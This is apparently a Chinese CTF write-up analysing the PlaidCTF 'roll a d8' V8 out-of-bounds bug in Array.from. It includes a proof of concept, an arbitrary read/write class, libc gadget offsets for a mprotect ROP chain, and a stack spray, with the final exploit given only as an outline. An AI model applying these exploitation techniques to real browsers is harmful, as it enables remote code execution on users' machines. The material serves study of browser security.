v8 exploit入门[PlaidCTF roll a d8]
字数 1013 2025-08-05 08:18:25

V8 Exploit入门:PlaidCTF roll a d8漏洞分析与利用

环境搭建

系统要求

  • Ubuntu 16.04 x64
  • 需要代理工具(如polipo)

编译V8源码

  1. 回退到漏洞版本:
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
  1. 编译Debug模式:
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
  1. 编译Release模式:
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

V8调试技巧

常用调试函数

  1. %DebugPrint(): 打印对象详细信息

    ./d8 --allow-natives-syntax ./test.js
    
  2. DebugBreak(): 在CodeStubAssembler代码中插入断点

  3. Print(): 在CodeStubAssembler代码中输出变量值

  4. readline(): 暂停程序等待输入,方便gdb调试

GDB调试支持

  1. 复制/tools/gdbinit/tools/gdb-v8-support.py到根目录
  2. 修改.gdbinit文件添加V8命令支持
  3. 常用命令:
    • job: 打印对象信息

漏洞分析

POC代码

let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {
    [Symbol.iterator]: _ => ({
        counter: 0,
        next() {
            let result = this.counter++;
            if (this.counter > maxSize) {
                oobArray.length = 0;
                return { done: true };
            } else {
                return { value: result, done: false };
            }
        }
    })
});
oobArray[oobArray.length - 1] = 0x41414141;

漏洞原理

  1. Array.from迭代过程中修改了原数组长度
  2. GenerateSetLength函数中错误地将LessThan比较改为NotEqual
  3. 当迭代次数大于数组长度时,直接修改length属性而不调整内存
  4. 导致数组length属性与实际内存不匹配,造成越界访问

关键函数分析

GenerateSetLength函数逻辑:

void GenerateSetLength(TNode<Context> context, TNode<Object> array, TNode<Number> length) {
    // 仅当以下条件满足时才设置length:
    // 1) 数组有fast elements
    // 2) length可写
    // 3) 新length大于等于旧length
    
    // 检查数组是否有fast elements
    BranchIfFastJSArray(array, context, &fast, &runtime);
    
    BIND(&fast);
    {
        TNode<Smi> length_smi = CAST(length);
        TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
        
        // 如果新length小于旧length,跳转到runtime处理
        GotoIf(SmiLessThan(length_smi, old_length), &runtime);
        
        // 否则直接修改length属性
        StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset, length_smi);
        Goto(&done);
    }
}

漏洞利用

V8内存模型

  1. Tagged Value:

    • Smi: 小整数,最低位为0
    • 指针: 最低位为1
  2. JsObject结构:

    [hiddenClass/map]
    [properties] -> [empty array]
    [elements] -> [empty array]
    [reserved #1]
    [reserved #2]
    [reserved #3] - in-object属性
    
  3. ArrayBuffer & TypedArray:

    • ArrayBuffer: 原始二进制数据缓冲区
    • TypedArray: 数据视图,用于操作内存

利用步骤

  1. 创建越界数组:

    var oobArray = [1.1];
    var maxSize = 1028 * 8;
    // 触发漏洞...
    
  2. 内存搜索与定位:

    // 搜索可控的ArrayBuffer
    for (let i = 0; i < maxSize; i++) {
        let val = mem.d2u(oobArray[i]);
        if (val === 0x123400000000) {
            buf_offset = i;
            break;
        }
    }
    
  3. 实现任意读写:

    class arbitraryRW {
        read(addr) {
            // 修改BackingStore指针
            oobArray[this.buf_offset + 1] = mem.u2d(addr);
            // 读取内存
            let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
            return mem.d2u(tmp[0]);
        }
    
        write(addr, val) {
            // 修改BackingStore指针
            oobArray[this.buf_offset + 1] = mem.u2d(addr);
            // 写入内存
            let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
            tmp.set([mem.u2d(val)]);
        }
    }
    
  4. 信息泄露:

    • 泄露堆地址: 通过ArrayBuffer的BackingStore指针
    • 泄露libc基址: 搜索堆内存中的libc指针
    • 泄露栈地址: 通过libc中的environ变量
  5. ROP链构造:

    let pop_rdi = 0x0000000000021102 + libc_base;
    let pop_rsi = 0x00000000000202e8 + libc_base;
    let pop_rdx = 0x0000000000001b92 + libc_base;
    let mprotect = 0x0000000000101770 + libc_base;
    
    let rop = [
        pop_rdi, parseInt(shell_addr/0x1000)*0x1000,
        pop_rsi, 4096,
        pop_rdx, 7,
        mprotect,
        shell_addr
    ];
    
  6. 栈喷射技术:

    let retn = 0x000000000007EF0D + libc_base;
    for (let i = 0; i < 0x100; i++) {
        rop_start -= 8;
        arw.write(rop_start, retn);
    }
    

完整EXP

class Memory {
    constructor() {
        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
    }
    // ... 转换方法 ...
}

// 触发漏洞创建越界数组
// 搜索可控对象
// 实现任意读写
// 信息泄露
// ROP链构造
// 栈喷射
// 执行shellcode

总结

  1. 该漏洞源于Array.from迭代过程中对数组长度的不当修改
  2. 利用关键在于通过越界访问控制ArrayBuffer的BackingStore指针
  3. 通过ROP技术绕过现代浏览器的防护机制
  4. 需要注意V8版本差异对利用的影响

参考资料

  1. V8源码与官方文档
  2. Sakura师傅的V8调试教程
  3. BrowserSecurity项目中的V8编译指南
V8 Exploit入门:PlaidCTF roll a d8漏洞分析与利用 环境搭建 系统要求 Ubuntu 16.04 x64 需要代理工具(如polipo) 编译V8源码 回退到漏洞版本: 编译Debug模式: 编译Release模式: V8调试技巧 常用调试函数 %DebugPrint() : 打印对象详细信息 DebugBreak() : 在CodeStubAssembler代码中插入断点 Print() : 在CodeStubAssembler代码中输出变量值 readline() : 暂停程序等待输入,方便gdb调试 GDB调试支持 复制 /tools/gdbinit 和 /tools/gdb-v8-support.py 到根目录 修改 .gdbinit 文件添加V8命令支持 常用命令: job : 打印对象信息 漏洞分析 POC代码 漏洞原理 在 Array.from 迭代过程中修改了原数组长度 GenerateSetLength 函数中错误地将 LessThan 比较改为 NotEqual 当迭代次数大于数组长度时,直接修改length属性而不调整内存 导致数组length属性与实际内存不匹配,造成越界访问 关键函数分析 GenerateSetLength 函数逻辑: 漏洞利用 V8内存模型 Tagged Value : Smi: 小整数,最低位为0 指针: 最低位为1 JsObject结构 : ArrayBuffer & TypedArray : ArrayBuffer: 原始二进制数据缓冲区 TypedArray: 数据视图,用于操作内存 利用步骤 创建越界数组 : 内存搜索与定位 : 实现任意读写 : 信息泄露 : 泄露堆地址: 通过ArrayBuffer的BackingStore指针 泄露libc基址: 搜索堆内存中的libc指针 泄露栈地址: 通过libc中的 environ 变量 ROP链构造 : 栈喷射技术 : 完整EXP 总结 该漏洞源于 Array.from 迭代过程中对数组长度的不当修改 利用关键在于通过越界访问控制ArrayBuffer的BackingStore指针 通过ROP技术绕过现代浏览器的防护机制 需要注意V8版本差异对利用的影响 参考资料 V8源码与官方文档 Sakura师傅的V8调试教程 BrowserSecurity项目中的V8编译指南